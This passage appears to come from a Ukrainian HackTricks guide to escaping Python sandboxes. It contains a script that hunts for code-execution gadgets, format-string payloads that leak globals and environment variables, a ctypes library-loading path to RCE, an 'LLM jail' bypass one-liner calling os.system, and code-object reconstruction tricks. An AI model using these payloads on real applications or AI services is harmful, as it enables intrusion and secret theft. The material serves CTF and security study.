HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` ## Рекурсивний пошук Builtins, Globals... > [!WARNING] > Це просто **чудово**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або будь-який інший**, просто використайте цей скрипт, щоб **рекурсивно знайти місця, де доступний цей об'єкт.** ```python import os, sys # Import these to find more gadgets SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is very time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maximum, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kills the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each key, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main() ``` Ви можете перевірити вивід цього скрипта на цій сторінці: {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String Якщо ви **надішлете** **рядок** в python, який буде **відформатований**, ви можете використовувати `{}` щоб отримати доступ до **внутрішньої інформації python.** Ви можете, наприклад, використовувати попередні приклади, щоб отримати доступ до globals або builtins. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` Зверніть увагу, як ви можете **access attributes** звичайним способом через **dot** як `people_obj.__init__` та **dict element** через **parenthesis** без лапок `__globals__[CONFIG]` Також зауважте, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Ще одна цікава особливість форматних рядків — можливість **executing** **functions** **`str`**, **`repr`** та **`ascii`** у вказаному об'єкті, додавши відповідно **`!s`**, **`!r`**, **`!a`**: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` Крім того, можливо **code new formatters** у класах: ```python class HAL9000(object): def __format__(self, format): if (format == 'open-the-pod-bay-doors'): return "I'm afraid I can't do that." return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` **Більше прикладів** щодо **format** **string** можна знайти на [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] > Також перегляньте наступну сторінку щодо gadgets, які будуть r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} ### Payloads для розкриття чутливої інформації ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} # Example from https://corgi.rip/posts/buckeye-writeups/ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` ### LLM Jails bypass From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### Від format до RCE: завантаження бібліотек Згідно з [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) можливо завантажувати довільні бібліотеки з диска, зловживаючи format string vulnerability в python. Нагадаю, що щораз, коли в python виконується дія, виконується деяка функція. Наприклад `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** виконає **`{'a':'b'}.__getitem__('a')`**. Більше подібного дивіться в розділі [**Python execution without calls**](#python-execution-without-calls). A python format string vuln не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE як `'{0.system("/bin/sh")}'.format(os)`.\ Однак, можна використовувати `[]`. Тому, якщо якась поширена python бібліотека має метод **`__getitem__`** або **`__getattr__`**, який виконує довільний код, їх можна зловживати, щоб отримати RCE. Шукаючи такий gadget у python, розбір пропонує цей [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Де він знайшов ось цей [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): self._dlltype = dlltype def __getattr__(self, name): if name[0] == '_': raise AttributeError(name) try: dll = self._dlltype(name) except OSError: raise AttributeError(name) setattr(self, name, dll) return dll def __getitem__(self, name): return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` Цей гаджет дозволяє **load a library from disk**. Тому потрібно якимось чином **write or upload the library to load**, правильно скомпільовану для атакованого сервера. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` Задача насправді зловживає іншою вразливістю на сервері, яка дозволяє створювати довільні файли на диску сервера. ## Розбір Python Objects > [!TIP] > Якщо ви хочете **вивчити** **python bytecode** детально, прочитайте цю **чудову** статтю на тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) У деяких CTFs вам можуть надати назву **custom function where the flag** і потрібно побачити **internals** цієї **function**, щоб витягти flag. Ось function для інспекції: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` and `func_globals` (те саме) отримують глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їхній вміст: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` [**See here more places to obtain globals**](#globals-and-locals) ### **Доступ до коду функції** **`__code__`** and `func_code`: Ви можете **отримати доступ** до цього **атрибуту** функції, щоб **отримати об'єкт коду** функції. ```python # In our current example get_flag.__code__ ", line 1 # Compiling some python code compile("print(5)", "", "single") at 0x7f9ca01330c0, file "", line 1> #Get the attributes of the code object dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` ### Отримання інформації про Code ```python # Another example s = ''' a = 5 b = 'text' def f(x): return x f(5) ''' c=compile(s, "", "exec") # __doc__: Get the description of the function, if any print.__doc__ # co_consts: Constants get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None. (5, 'text', , 'f', None # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects. get_flag.__code__.co_names () c.co_names ('a', 'b', 'f') #co_varnames: Local names used by the bytecode (arguments first, then the local variables) get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3') #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions. get_flag.__code__.co_cellvars () #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function. get_flag.__code__.co_freevars () #Get bytecode get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` ### **Дизасемблювати функцію** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Зауважте, що **якщо ви не можете імортувати `dis` в python sandbox** ви можете отримати **bytecode** функції (`get_flag.func_code.co_code`) і **disassemble** його локально. Ви не побачите вміст змінних, які завантажуються (`LOAD_CONST`), але можете вгадати їх із (`get_flag.func_code.co_consts`), тому що `LOAD_CONST` також показує зсув змінної, що завантажується. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## Компіляція Python Тепер уявімо, що якимось чином ви можете **dump інформацію про функцію, яку не можете виконати**, але вам **потрібно** її **виконати**.\ Як у наведеному прикладі, ви **можете отримати доступ до code object** цієї функції, але лише читаючи disassemble ви **не знаєте, як обчислити flag** (_уявіть більш складну функцію `calc_flag`_) ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` ### Створення об'єкта коду По-перше, нам потрібно знати **як створити та виконати об'єкт коду**, щоб ми могли створити один для виконання нашої функції leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None) # Execution eval(code_obj) #Execute as a whole script # If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] > Залежно від версії python **параметри** для `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у тій версії python, яку ви запускаєте — виконати: > > ``` > import types > types.CodeType.__doc__ > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` ### Відтворення leaked function > [!WARNING] > У наведеному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з function code object. У **реальному прикладі** всі **значення**, потрібні для виконання функції **`code_type`**, — це те, що вам потрібно leak. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars) mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` ### Обхід захистів У попередніх прикладах на початку цього допису ви можете побачити **як виконати будь-який python код за допомогою функції `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами та всім іншим в **one liner** (і ми могли б зробити те саме, використовуючи **`exec`**).\ У будь-якому разі, іноді може бути корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його в **CTF machine** (наприклад тому, що у нас немає функції `compiled` у CTF). Наприклад, давайте вручну скомпілюємо та виконаємо функцію, яка читає _./poc.py_: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **коректну функцію**, але викликати її безпосередньо зазвичай призведе до помилки: _конструктор недоступний в обмеженому режимі_. Отже вам потрібна **функція поза обмеженим середовищем, яка викличе цю функцію.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ## Декомпілювання скомпільованого Python Використовуючи інструменти, такі як [**https://www.decompiler.com/**](https://www.decompiler.com), можна **декомпілювати** даний скомпільований код Python. **Перегляньте цей підручник**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} ## Різне про Python ### Assert Якщо Python запускається з оптимізаціями з параметром `-O`, він видалить asset statements і будь-який код, умовний від значення **debug**.\ Отже, перевірки на кшталт ```python def check_permission(super_user): try: assert(super_user) print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` буде обійдено ## Посилання - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) - [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) - [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) - [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) - [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}}